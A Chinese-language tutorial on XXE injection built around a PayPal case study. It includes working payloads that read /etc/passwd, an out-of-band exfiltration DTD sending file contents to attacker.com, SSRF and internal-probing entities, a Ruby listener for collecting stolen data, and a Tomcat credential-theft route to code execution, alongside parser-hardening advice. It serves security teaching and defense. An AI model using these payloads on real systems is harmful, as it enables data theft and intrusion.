带外通道(OOB)Bind XML外部实体注入漏洞:PayPal案例研究
字数 1750 2025-08-18 11:37:49
XML外部实体注入(XXE)漏洞深度分析与利用技术
1. XXE漏洞概述
XML外部实体注入(XML External Entity, XXE)是一种安全漏洞,当应用程序解析用户提供的XML输入时,未正确配置XML解析器,导致攻击者能够引用外部实体。
1.1 漏洞原理
- XML实体:XML允许定义实体,即存储单元,可以是内部或外部的
- 外部实体:通过SYSTEM关键字引用外部资源,如文件或URL
- 漏洞成因:解析器配置不当,允许处理外部实体引用
1.2 影响范围
- 机密数据泄露(读取服务器文件)
- 拒绝服务(DoS)
- 服务器端请求伪造(SSRF)
- 内网端口扫描
- 远程代码执行(RCE)
2. 漏洞识别与验证
2.1 识别XML处理功能
- 拦截应用程序请求,检查是否使用XML格式交换数据
- 寻找接受用户输入并嵌入XML的端点
2.2 基本验证方法
<!-- 测试内联实体解析 -->
<!DOCTYPE test [ <!ENTITY xxe "test"> ]>
<foo>&xxe;</foo>
观察响应:
- 若"test"出现在响应中,说明实体被解析
- 若返回错误,可能存在反射点但无直接回显
3. XXE利用技术
3.1 直接回显型XXE
当应用程序直接输出实体内容时:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
3.2 带外(OOB)XXE技术
当无直接回显时,使用带外通道泄露数据:
3.2.1 基本OOB技术
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
evil.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
3.2.2 参数实体利用
<!DOCTYPE test [
<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%param1;'>">
%param2;
]>
3.3 协议处理与绕过技术
3.3.1 支持的协议
file://- 读取本地文件http://- HTTP请求ftp://- FTP协议php://filter- PHP特定过滤器
3.3.2 防火墙绕过
-
端口限制绕过:
- 测试不同端口(80, 443, 21等)
- PayPal案例中443端口未被阻止
-
数据长度限制绕过:
- 使用FTP协议分块传输
- 自定义FTP服务器接收多行数据
# 自定义FTP服务器示例(Ruby)
require 'socket'
server = TCPServer.new 443
loop do
client = server.accept
client.puts "220 FTP Server"
while cmd = client.gets
puts "FTP Command: #{cmd}"
# 处理文件内容
end
end
4. 高级利用场景
4.1 内网探测
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">
]>
4.2 服务器端请求伪造(SSRF)
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
4.3 远程代码执行(RCE)
通过XXE获取配置文件后可能的路径:
- 读取
~/.bash_history查找敏感操作 - 扫描服务器日志文件
- 获取应用服务器配置文件(如Tomcat的server.xml)
- 提取数据库凭证或其他敏感配置
Tomcat利用示例:
- 通过XXE获取
/usr/local/tomcat/conf/tomcat-users.xml - 提取管理凭据
- 访问Tomcat管理界面部署恶意WAR
5. 防御措施
5.1 安全配置XML解析器
- 禁用DTD:完全禁用外部实体处理
- 禁用外部实体:
- Java:
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - PHP:
libxml_disable_entity_loader(true)
- Java:
5.2 输入验证
- 使用白名单验证XML输入结构
- 过滤DOCTYPE声明和ENTITY定义
5.3 其他措施
- 使用JSON等替代数据格式
- 最小化XML解析器权限
- 网络层限制出站连接
6. 漏洞案例研究:PayPal Multi-Order Shipping
6.1 漏洞发现过程
- 拦截XML格式的请求
- 测试基本实体注入
- 确认无直接回显后转向OOB技术
- 使用参数实体和外部DTD
6.2 利用技术亮点
- 协议选择:使用HTTPS(443)绕过防火墙
- 数据提取:通过自定义FTP服务器接收文件内容
- 信息收集:从/etc/passwd开始,逐步获取更多敏感文件
6.3 影响
- 访问PayPal内部系统
- 潜在的数据泄露风险
- 内部网络探测能力
7. 工具与资源
-
XXE探测工具:
- OWASP ZAP
- Burp Suite Collaborator
-
自定义服务器:
-
Payload集合:
8. 总结
XXE漏洞危害严重,可导致数据泄露、内网渗透甚至RCE。PayPal案例展示了即使在大厂商的复杂应用中,配置不当的XML解析器仍可能带来重大风险。防御需要多层次措施,从解析器配置到网络控制。安全测试时应特别关注XML处理功能,使用OOB技术验证潜在的盲XXE漏洞。